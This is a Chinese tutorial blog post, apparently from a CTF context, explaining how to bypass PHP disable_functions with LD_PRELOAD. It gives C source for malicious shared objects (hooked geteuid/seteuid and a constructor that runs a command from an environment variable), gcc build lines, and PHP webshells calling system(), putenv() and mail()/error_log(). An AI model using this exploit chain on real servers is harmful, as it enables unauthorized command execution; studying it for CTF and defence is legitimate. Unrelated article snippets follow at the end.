和preload_通过LD_PRELOAD绕过disable_functions

0x00 前言

前段时间碰到拿到shell以后限制了basedir并且无法执行命令的情况,解决办法是上传恶意的.so文件,并通过设置LD_PRELOAD,然后调用新进程来加载恶意.so文件,达到绕过的效果。当时做这道题目的时候是跟着别人的题解直接套的(一道疯狂bypass的题目),属于一知半解的状态,比赛结束之后又耽搁了一两天,才有时间总结学习以下这个方式。

0x01 学习

链接

在学习LD_PRELOAD之前需要了解什么是链接

程序的链接主要有以下三种:

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  2. 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD介绍

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

为什么可以绕过

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

  1. 能够上传自己的.so文件

  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

  3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

2b8f4cf2b5c12ae41b55b493a67e0ab7.png

当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。

PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。

0x02 实践

在这么一个环境中,执行命令的相关函数被禁止

392e858c53d3b457e4001eefa9652332.png

2024c62ebb5974c206bb3587dc4268af.png

假如直接执行,会报错

test.php

<?php system($_GET['cmd']);

6037cea8ae176ebdbde6258785067809.png

编译so文件

首先查看sendmail这一系统函数会调用哪些库函数

readelf -Ws /usr/sbin/sendmail

从这些库函数中选择一个合适的即可,这里选取seteuid()来进行重写

91a58a934686c70475185983e8d30fd0.png

hack.c

#include #include #include void payload() {        system("touch /var/www/html/success");}int  seteuid() {    if (getenv("LD_PRELOAD") == NULL) { return 0; }    unsetenv("LD_PRELOAD");    payload();}

如果sateuid被调用,那么会加载payload函数,执行命令。

在编译恶意.so文件时,需要注意编译成共享对象:

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

gcc -shared -fPIC test.c -o test_x64.so

上传.so文件

上传的方式很多,一般来说,如果能getshell的话应该都有写权限,在suctf2019-easyphp一题中上传了.htaccess文件来覆盖解析,达到文件上传的绕过,从而getshell,在这种情况下,利用现成的上传点或者通过写权限新增一个上传点。

写入webshell

test2.php

<?php putenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]","","","","");?>

在浏览器中访问 webshell 就可以执行我们预期的语句了。按照此理,我们可以执行任意特定权限的命令。

20e17ab943f0fab74802eeaf37754681.png

这里我的ubuntu是没有安装sendmail的,但同样执行成功。一开始不知道怎么找原因,后面感谢我舍友的指点才发现。

在.c中加入死循环来判断到底哪个函数调用了geteuid()

test.c

#include #include #include void payload() {        system("touch /var/www/html/success");}   int  geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } while(1){} unsetenv("LD_PRELOAD"); payload();}

可以在top中看到当前占用最高的一项是其实是/bin/sh,因为死循环一直卡着。

c13884692d7e6c45e34feae5d4a1763d.png

是由test.php 派生出来的,因此我没有安装sendmail也执行成功的原因是sh同样调用了geteuid函数

f4594c077b61f98fa8f48f4bfaeb251a.png

970f274e4119afe03afe94e782000c1b.png

0x03 通用化

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,比如geteuid()。

在GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。

__attribute__((constructor))constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数)__attribute__((destructor))destructor参数让系统在main()函数退出或者调用了exit()之后,(被__attribute__((destructor))修饰的函数)

因此,只要php中设置了LD_PRELOAD,并派生了新的进程,将会执行LD_PRELOAD的文件中__attribute__((constructor))里的函数

test3.c

#include #include __attribute__((constructor))void payload() {    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

test2.php

<?php putenv("CMD=ls");putenv("LD_PRELOAD=./test3_x64.so");error_log("a",1);?>

15adfff7d068bbfc82797833864a784f.png

可以看到执行成功。

0x03 参考链接

https://www.anquanke.com/post/id/175403

https://www.smi1e.top/php-bypass-disabled_functions/

1d34adc52d827222e710d9245a6c760e.gif

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

aafc020433955a62235a0d7319352893.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/563670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

群晖服务器性能测试,对群晖DS716+进行性能测试_群晖 DS716+_企业存储技术与评测-中关村在线...

Iometer是一个工作在单系统和集群系统上用来衡量和描述I/O子系统的工具。可以被配置为模拟任何程序或者基准测试程序的磁盘和网络I/O的负载&#xff0c;或者用来产生整个综合的I/O负载。它也可以用来产生并测量单系统或者多系统(网络)的负载。在性能测试环节&#xff0c;我们采…

传播路由_什么路由器穿墙效果好?购买防骗知识

买无线路由器&#xff0c;首要辨识什么路由器穿墙效果好。面对市面上五花八门的路由器&#xff0c;很多小白在看到纷繁的参数就凌乱了&#xff0c;上了无良商家的当。小编觉得授人以鱼不如授人以渔&#xff0c;所以给大家写了一篇辨别什么路由器穿墙效果好的防入坑购买指南。我…

小程序消息服务器webapi,小程序订阅消息

# 小程序订阅消息# 功能介绍消息能力是小程序能力中的重要组成&#xff0c;我们为开发者提供了订阅消息能力&#xff0c;以便实现服务的闭环和更优的体验。 订阅消息推送位置&#xff1a;服务通知订阅消息下发条件&#xff1a;用户自主订阅订阅消息卡片跳转能力&#xff1a;点击…

php生成pdf中文断码_Rmarkdown导出中文PDF解决方案

Rmarkdown非常适合R语言使用者导出格式漂亮的文档&#xff0c;但是输出中文PDF的过程中会遇到各种麻烦的问题&#xff0c;本文整理了我的经验供大家参考。总的来说&#xff0c;通过Rmarkdown输出中文版pdf报告&#xff0c;要解决以下两个核心问题&#xff1a;导出PDF需要配置Te…

分数的大小比较优秀教案_人教版小学数学五年级下册异分母分数加、减法公开课优质课课件教案视频...

教学案例-《异分母分数加减法》教学目标&#xff1a;1.借助直观图形&#xff0c;在操作、观察、比较、的活动中理解异分母分数加减法的算理&#xff0c;掌握计算方法&#xff0c;并能正确进行计算。2.渗透转化、迁移的数学思想&#xff0c;积累研究分数问题的数学活动经验。3.能…

分号可以用来分段么_更高效的GMX分段模拟方法:修改tpr文件

■2020-11-01 22:42:18在以前的一篇文章中, 我简单说过基于GROMACS的分段模拟方法[1]. 这种方法非常通用, 几乎能完成任意的功能, 且无须修改源代码, 但是运行效率比较差, 因为每次运行mdrun都要重新生成tpr文件. 对大分子来说, 使用grompp生成tpr还是很耗时的, 可能会成为运行…

java list拷贝_深入了解浅拷贝与深拷贝

在学习深拷贝和浅拷贝之前&#xff0c;咱们先来一个例子&#xff1a;import java.util.ArrayList;public class MyBaby implements Cloneable {/*** 私有变量*/private ArrayList<String> list new ArrayList<>();Overrideprotected Object clone() throws CloneN…

放大镜_屏幕放大镜怎么样使用方法

首先&#xff0c;打开控制面板&#xff0c;然后找到并单击“显示”&#xff0c;然后启动放大镜。放大镜的放大倍率基于原始屏幕&#xff0c;而不是矢量放大倍率。有关放大镜的详细操作&#xff0c;请单击帮助按钮&#xff0c;其中有特定说明。捷径一&#xff1a;win 可以快速调…

mysql取消主键_mysql如何删除主键?

当一个表中设置了主键之后&#xff0c;如果想要删除主键了要怎么做&#xff1f;下面本篇文章就给大家介绍MySQL删除主键的方法&#xff0c;希望对你们有所帮助。首先我们来看看删除主键的语法&#xff1a;ALTER TABLE TABLE_NAME DROP PRIMARY KEY;在MySQL中删除主键要考虑两种…

公认音质好的耳机品牌_什么品牌蓝牙耳机音质比较好?2020五款HIFI音质蓝牙耳机推荐...

对于蓝牙耳机&#xff0c;绝大多数人的需求都是听音乐&#xff0c;同时也作为一个穿戴的修饰品。基于这些需求&#xff0c;在我们选择蓝牙耳机的时候&#xff0c;就会选择一些外观比较好看的时尚音乐蓝牙耳机&#xff0c;既有时尚的外观&#xff0c;又有较好的音质。那么现在有…

mysql取消操作系统_Linux下的MySQL简单操作(服务启动与关闭、启动与关闭、查看版本)...

小弟今天记录一下在Linux系统下面的MySQL的简单使用&#xff0c;如下&#xff1a;服务启动与关闭 启动与关闭 查看版本环境Linux版本&#xff1a;centeros 6.6(下面演示)&#xff0c;Ubuntu 12.04(参见文章末尾红色标注字体)MySQL版本&#xff1a;5.1.73查看MySQL服务的启动状态…

python日期转化成周数_[转]浅析使用python计算两个日期间隔天数﹑周数和指定若干天后对应的日期等...

>>> import datetime>>> help(datetime)http://docs.python.org/library/datetime.html查看2009年5月31日和2009年2月1日间隔多少天>>> d1datetime.date(2009,05,31)>>> d2datetime.date(2009,02,01)>>> d1-d2datetime.timedelta…

python笔记小白入门_Python 笔记:全网最详细最小白的Class类和实例详解

面向对象最重要的概念就是类(class)和实例(instance)&#xff0c;类是抽象&#xff0c;而实例(Instance)则是一个个具体的对象面向对象三大特点&#xff1a;封装、继承和多态class Animal(object):def __init__(self, name):self.name name # 初始化类变量def Dog(self): # 创…

java 字符串转dom对象_xml类型的字符串转换为Dom对象

我写这篇博客的目的是因为我在这一点转换方面耽搁了快2天时间&#xff0c;真是惭愧呀&#xff0c;dom4j.jar包有自带方法DocumentHelper.parseText(String text)用于将字符串类型的xml转换为Dom对象&#xff0c;从而进行下面的解析&#xff0c;还有一个关键是&#xff1a;产生字…

java nlpir_中科院NLPIR中文分词java版

摘要&#xff1a;为解决中文搜索的问题&#xff0c;最开始使用 版 SCWS &#xff0c;但是处理人名和地名时&#xff0c;会出现截断人名地名出现错误。开始使用 NLPIR 分词&#xff0c;在分词准确性上效果要比 SCWS 好。本文介绍如何在 系统下 JAVA &#xff0c;生成可以执行的 …

java怎编写么解析一个类型_DAY3:你必须知道的java虚拟机之类篇——类文件的结构...

马上过年啦&#xff0c;不知道大家今年有没有投资基金股票呢&#xff1f;是赚的盆满钵满还是拍断大腿&#xff0c;可以评论区一起交流交流&#xff0c;秀一秀哈哈&#xff0c;反正我是没来得及上车。暴富西不可能暴富的啦&#xff0c;打工人嘛几能写写文章啦&#xff5e;记得点…

java自学笔记_JAVA自学笔记(4)

发现JAVA的有趣Day1 继承不是"继承"1.0 继承的格式public classFU {public voidmethod(){System.out.println("Good night!");}}public class ZI extendsFU {}public classPractice {public static voidmain(String[] args) {ZI zinewZI();zi.method();}}打…

java分隔符算法_《Java数据结构和算法》栈 分隔符分配

分隔符包括“&#xff5b;“、"["、”(”、“] “、“)“、“&#xff5d;”&#xff0c;每个左分隔符需要右分隔符匹配。同时&#xff0c;在字符串中后出现左分隔符应该比早出现的先匹配。程序从字符串中不断读取字符&#xff0c;每次读取一个字符。若发现是左分隔符…

Java集合迭代器原理图解_Java Iterator接口遍历单列集合迭代器原理详解

这篇文章主要介绍了Java Iterator接口遍历单列集合迭代器原理详解,文中通过示例代码介绍的非常详细&#xff0c;对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下Iterator接口概述在程序开发中&#xff0c;经常需要遍历集合中的所有元素。针对这种需求&#x…

php商城的购物车功能,php实现购物车功能(以大苹果购物网为例)

首先是几个简单的登录页面登录用户名&#xff1a;密 码&#xff1a;登录页面写好之后&#xff0c;需要进入处理页面&#xff0c;从数据库中调出用户名和密码&#xff1a;session_start(); //开启session 必须要写到第一行header("Content-type:text/html;charsetutf-8&quo…